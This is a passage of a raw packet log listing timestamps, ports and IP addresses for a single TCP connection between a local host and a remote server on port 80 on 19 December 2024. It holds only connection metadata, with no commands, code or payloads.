Dec 19, 2024 08:01:01.819108009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.819221020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.819232941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.820033073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.820060015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.820182085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.820195913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.821006060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.821028948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.821038961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.821050882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.821096897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.821096897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.821959972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.822031021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.822045088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.822866917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.822911024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.822962999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.822974920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.823030949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.823030949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.823875904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.823941946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.823954105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.824791908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.824820042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.824856043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.824868917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.824923038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.824923038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.825736046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.825799942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.825819016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.826698065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.826736927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.826750994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.826762915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.826816082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.826816082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.827687025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.827760935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.827783108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.828613997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.828658104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.828671932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.828685999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.828716993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.829592943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.829617023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.829624891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.829638958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.829659939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.830491066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.830560923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.830571890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.830861092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.831469059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.831535101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.831547976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.832420111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.832451105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.832473040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.832487106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.832509041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.833362103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.833396912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.833427906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.833441019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.834325075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.834356070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.834388971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.834403038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.834455013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.834455013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.835261106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.835333109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.835346937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.836224079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.836256027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.836273909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.836287022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.836337090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.836337090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.837229013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.837317944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.837332010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.838857889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.847141981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.964481115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.964508057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.964521885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.964948893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.965010881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.965023994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.965142012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.965142012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.965895891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.965955019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.965967894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.966836929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.966903925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.966917038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.966929913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.967823029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.967856884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.967880011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.970860004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.001491070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.001543999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.001558065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.001842022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.001900911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.001914024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.001981020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.001981020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.002868891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.002912045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.002923965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.003739119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.003767014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.003794909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.003808022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.003834963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.004697084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.004766941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.004780054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.004789114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.005614042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.005640984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.005702019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.005716085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.005740881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.006582022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.006611109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.006671906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.006685019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.007527113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.007555962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.007587910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.007606030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.007633924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.008521080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.008532047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.008546114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.008572102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.009423018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.009453058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.009485960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.009499073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.009509087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.010380030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.010406971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.010432005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.010443926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.010857105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.011358023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.011382103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.011396885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.011404037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.011434078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.012271881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.012340069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.012352943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.012373924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.013309002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.013341904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.013353109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.013367891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.013397932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.014194012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.014249086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.014261961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.014282942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.015105009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.015142918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.015165091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.015177965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.015209913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.016074896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.016134024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.016146898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.016166925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.017028093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.017066956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.017091990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.017105103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.017139912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.017987013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.018042088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.018054008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.018088102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.018944979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.018970966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.018982887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.018991947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.019026041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.019893885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.019948006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.019959927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.019982100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.020883083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.020931005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.020940065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.020953894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.021002054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.021770000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.021831036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.021845102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.021867037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.022727966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.022768974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.022797108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.022814035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.022847891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.023696899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.023740053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.023751974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.023772955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.024648905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.024674892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.024688959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.024698973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.024725914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.025623083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.025695086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.025707006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.025733948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.026562929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.026587009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.026598930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.026607037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.026647091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.027545929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.027604103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.027616024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.027638912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.028436899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.028470993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.028496981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.028510094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.028542042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.029464006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.029476881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.029489994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.029515982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.076237917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.156579018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.156606913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.156618118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.156675100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.157008886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.157141924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.157212973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.157258987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.157272100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.157298088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.158196926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.158250093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.158287048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.158299923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.158339024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.159346104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.159368992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.159398079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.159406900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.160115004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.160156012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.193831921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.193845987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.193859100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.193907022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.194140911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.194178104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.194402933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.194498062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.194509983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.194534063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.195338011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.195350885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.195363998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.195382118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.195409060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.196240902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.196301937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.196315050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.196341991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.197202921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.197247028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.197252035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.197267056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.197307110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.198180914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.198251963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.198262930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.198288918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.199135065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.199178934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.199218035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.199229956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.199265003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.200052977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.200117111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.200129986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.200154066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.200995922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.201040983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.201045036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.201057911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.201097965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.201950073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.201972008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.201983929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.202011108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.202914000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.202961922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.202980995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.202986956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.203035116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.203929901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.203943014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.203954935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.203979969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.204813004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.204858065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.204871893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.204885960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.204920053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.205765963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.205804110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.205816031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.205840111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.206727982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.206779003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.206794024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.206806898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.206842899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.207659006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.207717896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.207730055 CET	80	49739	194.87.47.113	192.168.2.9
